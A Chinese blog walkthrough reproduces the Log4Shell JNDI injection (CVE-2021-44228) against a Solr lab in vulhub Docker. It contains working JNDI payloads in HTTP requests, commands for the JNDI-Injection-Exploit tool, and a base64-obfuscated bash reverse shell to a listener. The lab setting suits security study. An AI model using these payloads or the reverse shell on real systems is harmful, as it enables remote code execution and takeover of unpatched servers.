码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • Apache_Log4j2查找功能JNDI注入_CVE-2021-44228


    Apache_Log4j2查找功能JNDI注入_CVE-2021-44228

    文章目录

      • Apache_Log4j2查找功能JNDI注入_CVE-2021-44228
        • 1 在线漏洞解读:
        • 2 环境搭建
        • 3 影响版本:
        • 4 漏洞复现
          • 4.1 访问页面
          • 4.2 poc漏洞验证
        • 4.3 在dnslog获取个域名
          • 4.4 使用bp抓包进行分析
          • 4.5 通信成功,此处可以漏洞利用
        • 5 构建一个imr服务器
          • 5.1 java通信协议
          • 5.2 下载工具JNDI协议服务
          • 5.3 执行漏洞核心指令
        • 6 kali进行下载安裝JNDI服务
          • 6.1 使用编译好的tar包,准备启动JNDI通信服务
          • 6.2 执行
          • 6.3 将下面请求依次放到bp--》漏洞请求参数中
          • 6.4 查看docker容器
          • 6.5 docker容器中成功创建文件test,命令执行成功
        • 7 构建反弹shell
          • 7.1 反弹shell一句话
          • 7.2 使用在线工具转义
          • 7.3 开启监听
          • 7.4 重新启动 JNDI服务,并将开启shell连接一句话,放到 -C “command”中
          • 7.5 将扫描到的紫色标记连接地址-替换到下图红框中,进行转发
          • 7.6 请求后JNDI服务收到请求响应
          • 7.7 经过多次尝试,获取连接取得shell,获取root

    1 在线漏洞解读:

    https://vulhub.org/#/environments/log4j/CVE-2021-44228/
    
    • 1

    在这里插入图片描述

    2 环境搭建

    cd  /home/kali/vulhub/log4j/CVE-2021-44228
    
    • 1

    在这里插入图片描述

    启动:

    sudo docker-compose up -d
    
    sudo docker-compose ps -a
    sudo docker ps -a
    
    • 1
    • 2
    • 3
    • 4

    已启动:访问端口8900

    在这里插入图片描述

    3 影响版本:

    ​ Log4j2

    4 漏洞复现

    4.1 访问页面

    ​ 访问页面http://192.168.225.166:8900/

    在这里插入图片描述

    4.2 poc漏洞验证

    简单地说,输入有效负载${jndi:dns://${sys:java.version}.example.com}可以触发JNDI查询的管理操作。

    GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
    Host: your-ip:8983
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
    Connection: close
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    4.3 在dnslog获取个域名

    http://dnslog.cn/
    
    • 1

    在这里插入图片描述

    4.4 使用bp抓包进行分析

    将域名地址放入下图中,send转发看是否可以通信

    GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.qlsfi0.dnslog.cn} HTTP/1.1
    
    • 1

    在这里插入图片描述

    4.5 通信成功,此处可以漏洞利用

    在这里插入图片描述

    5 构建一个imr服务器

    5.1 java通信协议
    JNDI,Java Nameing and Directory Interface,Java 命令与目录接口,是一组应用程序接口,目的是为了方便查找远程或本地对象。JNDI 典型的应用场景是配置数据源,除此之外,JNDI 还可以访问现有的目录和服务,例如LDAP| RMI| CORBA| DNS| NDS| NIS
    
    • 1
    5.2 下载工具JNDI协议服务
    https://github.com/welk1n/JNDI-Injection-Exploit
    
    • 1
    5.3 执行漏洞核心指令
    $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
    
    要确保 1099、1389、8180端口可用,不被其他程序占用
    
    • 1
    • 2
    • 3

    6 kali进行下载安裝JNDI服务

    ┌──(kali💋kali)-[~/tools]
    └─$ proxychains git clone https://github.com/welk1n/JNDI-Injection-Exploit.git    
    
    • 1
    • 2

    在这里插入图片描述
    在这里插入图片描述

    6.1 使用编译好的tar包,准备启动JNDI通信服务
    ┌──(kali💋kali)-[~/tools/java-unserialize/JNDI-Injection-Exploit/target]
    └─$ pwd                                                                       
    /home/kali/tools/java-unserialize/JNDI-Injection-Exploit/target
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    6.2 执行
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/test" -A "192.168.225.166"
    
    • 1

    在这里插入图片描述

    6.3 将下面请求依次放到bp–》漏洞请求参数中
    rmi://192.168.225.166:1099/zn7ifc
    ldap://192.168.225.166:1389/zn7ifc
    rmi://192.168.225.166:1099/cv02m1
    rmi://192.168.225.166:1099/jxyhcp
    ldap://192.168.225.166:1389/jxyhcp
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    GET /solr/admin/cores?action=${jndi:ldap://192.168.225.166:1389/zn7ifc} HTTP/1.1
    
    • 1

    在这里插入图片描述

    kali后台:

    在这里插入图片描述

    6.4 查看docker容器
    sudo docker ps -a
    sudo docker exec -it d63fc660cd63  /bin/bash
    
    • 1
    • 2

    在这里插入图片描述

    6.5 docker容器中成功创建文件test,命令执行成功

    在这里插入图片描述

    7 构建反弹shell

    7.1 反弹shell一句话
    nc -lvvp  6666   # 开启监听6666端口服务
    ----------------------------------
    bash -i >& /dev/tcp/192.168.225.166/6666 0>&1
    ----------------------------------
    bash -i >& /dev/tcp/192.168.225.166/6666 0>&1 转成base64位:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx
    ----------------------------------
    bash -c {echo,base64编码一句话shell}|{base64,-d}|{bash,-i}
    --------------
    最后组合为
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
    ----------------------------------
    
    输入java指令:
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.225.166"
    
    
    bash -i &> /dev/tcp/192.168.225.166/6666 0<&1 # 反弹交互指令tcp服务
    nc -lvp 6666 # l是监听模式;v是显示详细信息;p是指定端口;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    7.2 使用在线工具转义

    在这里插入图片描述

    7.3 开启监听
    nc  -lvvp  6666
    
    • 1

    在这里插入图片描述

    7.4 重新启动 JNDI服务,并将开启shell连接一句话,放到 -C “command”中
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.225.166"
    
    • 1

    在这里插入图片描述

    7.5 将扫描到的紫色标记连接地址-替换到下图红框中,进行转发
    rmi://192.168.225.166:1099/i3hcpf
    rmi://192.168.225.166:1099/w7eudo
    ldap://192.168.225.166:1389/w7eudo
    rmi://192.168.225.166:1099/vlvzc3
    ldap://192.168.225.166:1389/vlvzc3
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    7.6 请求后JNDI服务收到请求响应

    在这里插入图片描述

    7.7 经过多次尝试,获取连接取得shell,获取root

    在这里插入图片描述

  • 相关阅读:
    这个七夕节,Python技术six了!
    Linux系列之查找jar包安装目录
    Selenium浏览器自动化测试框架详解
    Django与Ajax
    嵌入式软件工程师面试题——2025校招专题(三)
    设备树和uboot启动,kernel启动
    成百上千人的签到现场?这个技术你值得拥有
    R语言dplyr包distinct函数基于dataframe数据中的所有变量移除重复行
    DEJA_VU3D - Cesium功能集 之 088-军事标绘系列十七:防御阵型
    功能实现_用户认证_基于token_实现携带token访问购物车页面
  • 原文地址:https://blog.csdn.net/weixin_42786460/article/details/133823940
  • 最新文章
  • 沪漂五周年了:我越来越迷茫了
    Agentic Skill Routing 实战:别再把所有 Skill 塞进 AI Agent 上下文
    MySQL-Seconds_behind_master的精度误差
    [MAF预定义ChatClient中间件-03]CachingChatClient——利用缓存省钱省时间
    AI的至暗历史:从万众期待到被政府撤资,AI的两次死亡徘徊
    Agent OS :五种驯服不确定性的范式
    PortSwigger SQL注入LAB11
    数据库即时编译JIT
    [Begin]AI Learn Data Day 0
    深度学习进阶(二十七)现代 LLM 的核心架构设计其二:SwiGLU
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号